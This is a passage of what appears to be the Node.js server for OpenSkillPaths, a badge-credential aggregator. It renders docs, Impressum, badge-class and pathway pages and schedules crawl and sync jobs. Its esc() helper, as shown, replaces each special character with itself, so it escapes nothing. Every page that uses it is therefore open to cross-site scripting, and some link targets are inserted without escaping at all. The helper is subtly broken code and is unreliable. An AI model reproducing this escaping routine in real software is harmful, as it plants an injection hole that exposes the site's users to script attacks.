-d '{"url":"https://your-instance.example.com","name":"My OB3 Platform","node_type":"ob3","api_endpoint":"https://your-instance.example.com/api/achievements"}'</pre>
<p>Endpoints must support <code>?limit=100&offset=0</code> pagination and return a plain array or <code>{ "data": [...] }</code>. For full field documentation and proof signing guidance see the <a href="https://gitlab.com/janushead/openskillpaths/-/blob/main/docs/source-api.md">Source API Guide</a>.</p>`, {
url: '/docs',
description: 'REST API reference for OpenSkillPaths — search badge classes, register nodes, and integrate open credential data into your application.',
});
}
function pageImpressum() {
return htmlShell('Impressum', `
<h1>Impressum</h1>
<h2>Angaben gemäß § 5 TMG</h2>
<p>
relevantive GmbH<br>
Jan Muehlig<br>
</p>
<h2>Kontakt</h2>
<p>E-Mail: <a href="mailto:info@relevantive.de">info@relevantive.de</a></p>
<h2>Haftungsausschluss</h2>
<p>Die Inhalte dieser Seite wurden mit größter Sorgfalt erstellt. Für die Richtigkeit, Vollständigkeit und Aktualität der Inhalte kann jedoch keine Gewähr übernommen werden.</p>`, {
url: '/impressum',
description: 'Impressum — Angaben gemäß § 5 TMG. relevantive GmbH, Jan Muehlig.',
});
}
function pageBadgeClasses(badges, total, limit, offset, query) {
const rows = badges.map(bc => {
const img = bc.image_url
? `<img src="${esc(bc.image_url)}" alt="" style="width:40px;height:40px;object-fit:contain;border-radius:6px;">`
: `<span style="display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;background:#f0f0ee;border-radius:6px;font-size:1.2rem;">🏆</span>`;
const sourceLabel = bc.node_name ?? bc.source_format ?? '—';
const sourceEl = bc.node_url
? `<a href="${esc(bc.node_url)}" target="_blank" style="color:#666;text-decoration:none;">${esc(sourceLabel)}</a>`
: esc(sourceLabel);
return `<tr>
<td style="font-family:inherit;white-space:normal;">${img}</td>
<td style="font-family:inherit;white-space:normal;">
<a href="/badge-classes/${encodeURIComponent(bc.uuid)}" style="font-weight:600;color:#1a1a1a;text-decoration:none;">${esc(bc.name || 'Untitled')}</a>
${bc.description ? `<br><span style="font-size:0.85rem;color:#666;">${esc(bc.description).substring(0, 120)}${bc.description.length > 120 ? '…' : ''}</span>` : ''}
</td>
<td style="font-family:inherit;white-space:nowrap;font-size:0.85rem;color:#666;">${esc(bc.issuer_name ?? '—')}</td>
<td style="font-family:inherit;white-space:nowrap;font-size:0.85rem;color:#666;">${sourceEl}</td>
</tr>`;
}).join('');
const prevOffset = Math.max(0, offset - limit);
const nextOffset = offset + limit;
const pagination = total > limit ? `
<div style="display:flex;justify-content:space-between;align-items:center;margin-top:1.5rem;">
<span style="font-size:0.85rem;color:#666;">Showing ${offset + 1}–${Math.min(offset + limit, total)} of ${total}</span>
<div style="display:flex;gap:0.5rem;">
${offset > 0 ? `<a href="/badge-classes?offset=${prevOffset}&limit=${limit}${query ? '&q=' + encodeURIComponent(query) : ''}" style="padding:0.4rem 0.8rem;background:#f0f0ee;border-radius:4px;text-decoration:none;color:#1a1a1a;font-size:0.85rem;">← Previous</a>` : ''}
${nextOffset < total ? `<a href="/badge-classes?offset=${nextOffset}&limit=${limit}${query ? '&q=' + encodeURIComponent(query) : ''}" style="padding:0.4rem 0.8rem;background:#f0f0ee;border-radius:4px;text-decoration:none;color:#1a1a1a;font-size:0.85rem;">Next →</a>` : ''}
</div>
</div>` : '';
return htmlShell('Badge Classes', `
<h1>Badge Classes</h1>
<p>Public badge class metadata aggregated from registered credential issuers.</p>
<form method="GET" action="/badge-classes" style="margin-bottom:1.5rem;">
<div style="display:flex;gap:0.5rem;">
<input type="text" name="q" value="${esc(query ?? '')}" placeholder="Search badge classes…" style="flex:1;padding:0.5rem 0.75rem;border:1px solid #ddd;border-radius:6px;font-size:0.9rem;">
<button type="submit" style="padding:0.5rem 1rem;background:#1a1a1a;color:#fff;border:none;border-radius:6px;font-size:0.9rem;cursor:pointer;">Search</button>
</div>
</form>
${badges.length === 0 ? '<p style="color:#999;">No badge classes found.</p>' : `
<table>
<thead>
<tr><th style="width:50px;"></th><th>Badge Class</th><th>Issuer</th><th>Source</th></tr>
</thead>
<tbody>${rows}</tbody>
</table>
${pagination}`}`, {
url: '/badge-classes',
description: 'Browse public badge classes aggregated from registered credential issuers.',
});
}
function pageBadgeClassDetail(bc, pathwayRefs = []) {
const img = bc.image_url
? `<img src="${esc(bc.image_url)}" alt="${esc(bc.name)}" style="max-width:160px;max-height:160px;object-fit:contain;">`
: `<span style="font-size:5rem;opacity:0.3;">🏆</span>`;
const skills = (bc.skills ?? []);
const alignments = (bc.alignments ?? []);
const hasProof = !!bc.proof;
const pathwayRows = pathwayRefs.map(r => `
<tr>
<td style="font-family:inherit;"><a href="/pathways/${r.pathway_id}" style="color:#1a1a1a;font-weight:500;">${esc(r.pathway_title)}</a></td>
<td style="font-family:inherit;font-size:0.85rem;color:#666;">${esc(r.section_title ?? '—')}</td>
<td style="font-family:inherit;font-size:0.85rem;">
<span style="display:inline-block;padding:0.15rem 0.5rem;background:${r.role === 'master' ? '#e7f1ff' : '#f0f0ee'};border-radius:10px;font-size:0.75rem;font-weight:500;color:${r.role === 'master' ? '#0d6efd' : '#666'};">${r.role}</span>
</td>
</tr>
`).join('');
return htmlShell(bc.name || 'Badge Class', `
<style>
.bc-hero { display:flex; gap:2rem; align-items:flex-start; margin-bottom:2rem; }
.bc-hero-img { flex-shrink:0; display:flex; align-items:center; justify-content:center; width:160px; height:160px; background:#f8f9fa; border-radius:12px; }
.bc-hero-info { flex:1; }
.bc-hero-info h1 { font-size:1.75rem; margin-bottom:0.5rem; }
.bc-meta { display:grid; grid-template-columns:auto 1fr; gap:0.4rem 1rem; font-size:0.9rem; margin-top:1.5rem; }
.bc-meta dt { font-weight:600; color:#333; }
.bc-meta dd { color:#555; margin:0; word-break:break-all; }
.bc-section { margin-top:2rem; }
.bc-section h2 { font-size:1.1rem; margin-bottom:0.75rem; }
.bc-tag { display:inline-block; padding:0.2rem 0.6rem; background:#f0f0ee; border-radius:10px; font-size:0.8rem; color:#555; margin:0.2rem 0.2rem 0.2rem 0; }
.bc-proof-ok { color:#198754; }
.bc-proof-no { color:#999; }
</style>
<div class="bc-hero">
<div class="bc-hero-img">${img}</div>
<div class="bc-hero-info">
<h1>${esc(bc.name || 'Untitled Badge Class')}</h1>
${bc.description ? `<p>${esc(bc.description)}</p>` : ''}
${bc.issuer_name ? `<p style="font-size:0.9rem;color:#666;">Issued by <strong>${bc.issuer_url ? `<a href="${esc(bc.issuer_url)}" style="color:#1a1a1a;" target="_blank">${esc(bc.issuer_name)}</a>` : esc(bc.issuer_name)}</strong></p>` : ''}
<p style="font-size:0.85rem;">
${hasProof
? '<span class="bc-proof-ok">✓ Cryptographically signed</span>'
: '<span class="bc-proof-no">◯ No proof attached</span>'}
</p>
</div>
</div>
<dl class="bc-meta">
<dt>Identifier</dt>
<dd><code>${esc(bc.uuid)}</code></dd>
${bc.credential_category ? `<dt>Category</dt><dd>${esc(bc.credential_category)}</dd>` : ''}
${bc.issuer_did ? `<dt>Issuer DID</dt><dd><code>${esc(bc.issuer_did)}</code></dd>` : ''}
${bc.valid_for ? `<dt>Valid for</dt><dd>${esc(bc.valid_for)}</dd>` : ''}
${bc.earn_url ? `<dt>Earn this badge</dt><dd><a href="${esc(bc.earn_url)}" target="_blank">${esc(bc.earn_url)}</a></dd>` : ''}
<dt>Data formats</dt>
<dd>
<a href="/badge-classes/${encodeURIComponent(bc.uuid)}?format=json">JSON (schema.org)</a>
</dd>
</dl>
${skills.length ? `
<div class="bc-section">
<h2>Skills</h2>
<div>${skills.map(s => `<span class="bc-tag">${esc(s.label || s.uri)}</span>`).join('')}</div>
</div>` : ''}
${alignments.length ? `
<div class="bc-section">
<h2>Alignments</h2>
<table>
<thead><tr><th>Framework</th><th>Target</th><th>Code</th></tr></thead>
<tbody>${alignments.map(a => `<tr>
<td style="font-family:inherit;">${esc(a.educationalFramework ?? '—')}</td>
<td style="font-family:inherit;">${a.targetUrl ? `<a href="${esc(a.targetUrl)}" target="_blank">${esc(a.targetName || a.targetUrl)}</a>` : esc(a.targetName ?? '—')}</td>
<td style="font-family:inherit;">${esc(a.targetCode ?? '—')}</td>
</tr>`).join('')}</tbody>
</table>
</div>` : ''}
${pathwayRefs.length ? `
<div class="bc-section">
<h2>Part of Pathways</h2>
<table>
<thead><tr><th>Pathway</th><th>Section</th><th>Role</th></tr></thead>
<tbody>${pathwayRows}</tbody>
</table>
</div>` : ''}`, {
url: `/badge-classes/${encodeURIComponent(bc.uuid)}`,
description: `${bc.name || 'Badge Class'} — a credential on OpenSkillPaths.`,
});
}
function pagePathways(pathways, total, limit, offset, query) {
const rows = pathways.map(p => {
const img = p.image_url
? `<img src="${esc(p.image_url)}" alt="" style="width:40px;height:40px;object-fit:contain;border-radius:6px;">`
: `<span style="display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;background:#f0f0ee;border-radius:6px;font-size:1.2rem;">🏆</span>`;
return `<tr>
<td style="font-family:inherit;white-space:normal;">${img}</td>
<td style="font-family:inherit;white-space:normal;">
<a href="/pathways/${esc(p.uuid)}" style="font-weight:600;color:#1a1a1a;text-decoration:none;">${esc(p.title)}</a>
${p.description ? `<br><span style="font-size:0.85rem;color:#666;">${esc(p.description).substring(0, 120)}${p.description.length > 120 ? '…' : ''}</span>` : ''}
</td>
<td style="font-family:inherit;white-space:nowrap;font-size:0.85rem;color:#666;">${esc(p.submitted_by ?? '—')}</td>
<td style="font-family:inherit;white-space:nowrap;font-size:0.85rem;color:#666;">${p.created_at ? new Date(p.created_at).toLocaleDateString() : '—'}</td>
</tr>`;
}).join('');
const prevOffset = Math.max(0, offset - limit);
const nextOffset = offset + limit;
const pagination = total > limit ? `
<div style="display:flex;justify-content:space-between;align-items:center;margin-top:1.5rem;">
<span style="font-size:0.85rem;color:#666;">Showing ${offset + 1}–${Math.min(offset + limit, total)} of ${total}</span>
<div style="display:flex;gap:0.5rem;">
${offset > 0 ? `<a href="/pathways?offset=${prevOffset}&limit=${limit}${query ? '&q=' + encodeURIComponent(query) : ''}" style="padding:0.4rem 0.8rem;background:#f0f0ee;border-radius:4px;text-decoration:none;color:#1a1a1a;font-size:0.85rem;">← Previous</a>` : ''}
${nextOffset < total ? `<a href="/pathways?offset=${nextOffset}&limit=${limit}${query ? '&q=' + encodeURIComponent(query) : ''}" style="padding:0.4rem 0.8rem;background:#f0f0ee;border-radius:4px;text-decoration:none;color:#1a1a1a;font-size:0.85rem;">Next →</a>` : ''}
</div>
</div>` : '';
return htmlShell('Skill Pathways', `
<h1>Skill Pathways</h1>
<p>Structured learning paths that define which badges a learner needs to earn a master credential.</p>
<form method="GET" action="/pathways" style="margin-bottom:1.5rem;">
<div style="display:flex;gap:0.5rem;">
<input type="text" name="q" value="${esc(query ?? '')}" placeholder="Search pathways…" style="flex:1;padding:0.5rem 0.75rem;border:1px solid #ddd;border-radius:6px;font-size:0.9rem;">
<button type="submit" style="padding:0.5rem 1rem;background:#1a1a1a;color:#fff;border:none;border-radius:6px;font-size:0.9rem;cursor:pointer;">Search</button>
</div>
</form>
${pathways.length === 0 ? '<p style="color:#999;">No pathways found.</p>' : `
<table>
<thead>
<tr><th style="width:50px;"></th><th>Pathway</th><th>Publisher</th><th>Created</th></tr>
</thead>
<tbody>${rows}</tbody>
</table>
${pagination}`}`, {
url: '/pathways',
description: 'Browse skill pathways — structured learning paths for earning master credentials.',
});
}
function pagePathwayDetail(pathway) {
const masterImg = pathway.image_url || pathway.master_badge?.image_url;
const masterBadge = masterImg
? `<img src="${esc(masterImg)}" alt="${esc(pathway.title)}" style="width:100px;height:100px;object-fit:contain;">`
: `<span style="font-size:4rem;">🏆</span>`;
const sections = (pathway.sections ?? []).map((sec, i) => {
const slots = (sec.slots ?? []);
const ruleLabel = sec.rule_type === 'all' ? `Require all ${slots.length}`
: sec.rule_type === 'one_of' ? 'Require any 1'
: sec.rule_type === 'n_of_m' ? `Require any ${sec.rule_count ?? 1} of ${slots.length}`
: `All ${slots.length}`;
const badgeCards = slots.map(slot => {
const bc = slot.badge_class;
const img = bc?.image_url || slot.image_url;
const title = slot.title || bc?.name || 'Badge';
const issuer = slot.issuer_name || bc?.issuer_name || '';
const imgEl = img
? `<img src="${esc(img)}" alt="${esc(title)}" style="width:64px;height:64px;object-fit:contain;">`
: `<span style="font-size:2.5rem;opacity:0.4;">🏆</span>`;
const badgeUrl = slot.achievement_id ?? null;
const inner = `${imgEl}
<div class="pw-badge-title" title="${esc(title)}">${esc(title)}</div>
${issuer ? `<div class="pw-badge-issuer">${esc(issuer)}</div>` : ''}`;
return badgeUrl
? `<a href="${badgeUrl}" class="pw-badge-card" style="text-decoration:none;color:inherit;">${inner}</a>`
: `<div class="pw-badge-card">${inner}</div>`;
}).join('');
return `
<div class="pw-section">
<div class="pw-section-header">
<span class="pw-section-num">${i + 1}</span>
<span class="pw-section-title">${esc(sec.title || `Section ${i + 1}`)}</span>
<span class="pw-section-rule">${ruleLabel}</span>
</div>
${sec.description ? `<p style="margin:0.5rem 0 0;font-size:0.85rem;color:#666;">${esc(sec.description)}</p>` : ''}
<div class="pw-badge-row">${badgeCards}</div>
</div>`;
}).join(`<div class="pw-connector"><svg width="2" height="32"><line x1="1" y1="0" x2="1" y2="32" stroke="#dee2e6" stroke-width="2"/></svg></div>`);
const issuerDid = pathway.master_badge?.issuer_did ?? '';
const issuerName = pathway.master_badge?.issuer_name ?? pathway.submitted_by ?? '';
const identifier = `${SITE_URL}/pathways/${pathway.uuid}`;
return htmlShell(pathway.title, `
<style>
.pw-master { text-align:center; padding:2rem 0; }
.pw-master-label { text-transform:uppercase; font-size:0.75rem; letter-spacing:0.1em; color:#999; margin-bottom:0.5rem; }
.pw-section { background:#fff; border:1px solid #e0e0e0; border-radius:12px; padding:1.25rem; }
.pw-section-header { display:flex; align-items:center; gap:0.75rem; margin-bottom:1rem; }
.pw-section-num { width:28px; height:28px; background:#6c757d; color:#fff; border-radius:50%; display:flex; align-items:center; justify-content:center; font-size:0.85rem; font-weight:600; flex-shrink:0; }
.pw-section-title { font-weight:600; font-size:0.95rem; }
.pw-section-rule { margin-left:auto; font-size:0.75rem; background:#f0f0ee; padding:0.2rem 0.6rem; border-radius:10px; color:#666; white-space:nowrap; }
.pw-badge-row { display:flex; flex-wrap:wrap; gap:1rem; }
.pw-badge-card { background:#f8f9fa; border-radius:12px; padding:1rem; text-align:center; min-width:140px; max-width:180px; flex-shrink:0; }
.pw-badge-card:hover { background:#fff; box-shadow:0 2px 8px rgba(0,0,0,0.1); }
.pw-badge-title { font-size:0.75rem; font-weight:500; line-height:1.3; margin-top:0.5rem; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; max-width:100%; }
.pw-badge-issuer { font-size:0.65rem; color:#999; margin-top:0.2rem; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; }
.pw-connector { text-align:center; padding:0.25rem 0; }
.pw-meta { margin-top:2rem; font-size:0.85rem; color:#666; }
.pw-meta dt { font-weight:600; color:#333; }
.pw-meta dd { margin-bottom:0.75rem; }
.pw-meta code { font-size:0.8rem; }
${pathway.is_sequential ? '.pw-section-num { background:#0d6efd; }' : ''}
</style>
<div class="pw-master">
<div class="pw-master-label">The Goal</div>
${masterBadge}
<h1 style="margin-top:0.75rem;">${esc(pathway.title)}</h1>
${pathway.description ? `<p>${esc(pathway.description)}</p>` : ''}
${issuerName ? `<p style="font-size:0.9rem;color:#666;">Published by <strong>${esc(issuerName)}</strong></p>` : ''}
${pathway.is_sequential ? '<span style="display:inline-block;padding:0.25rem 0.625rem;background:#e7f1ff;border-radius:12px;font-size:0.75rem;font-weight:500;color:#0d6efd;">Complete in order</span>' : ''}
</div>
${sections}
<dl class="pw-meta">
<dt>Identifier</dt>
<dd><code>${esc(identifier)}</code></dd>
${issuerDid ? `<dt>Issuer DID</dt><dd><code>${esc(issuerDid)}</code></dd>` : ''}
<dt>Data formats</dt>
<dd>
<a href="/pathways/${esc(pathway.uuid)}?format=json" style="margin-right:1rem;">JSON</a>
<a href="/pathways/${esc(pathway.uuid)}/ctdl">CTDL JSON-LD</a>
</dd>
${pathway.created_at ? `<dt>Published</dt><dd>${new Date(pathway.created_at).toLocaleDateString()}</dd>` : ''}
</dl>`, {
url: `/pathways/${pathway.uuid}`,
description: `${pathway.title} — a skill pathway on OpenSkillPaths.`,
});
}
/** Escape HTML entities */
function esc(str) {
if (!str) return '';
return String(str).replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
}
// ─── SCHEDULER ────────────────────────────────────────────────────────────────
// Run crawl + peer sync every 5 minutes; individual nodes are skipped if not yet due
cron.schedule('*/5 * * * *', () => {
crawlDue().catch((e) => app.log.error('[cron]', e));
syncAllPeers().catch((e) => app.log.error('[cron]', e));
});
// Sync Credential Engine once per day at 03:00 server time
cron.schedule('0 3 * * *', () => {
syncCE().catch((e) => app.log.error('[cron:ce]', e));
});
// ─── START ────────────────────────────────────────────────────────────────────
const port = parseInt(process.env.PORT ?? 3000, 10);
const host = process.env.HOST ?? '0.0.0.0';
await app.listen({ port, host });
app.log.info(`openskillpaths listening on ${host}:${port}`);
// Bootstrap peers from env, then run initial crawl + sync (async, don't block boot)
bootstrapPeers()
.then(() => Promise.all([
crawlDue(),
syncAllPeers(),
]))
.catch((e) => app.log.error('[startup]', e));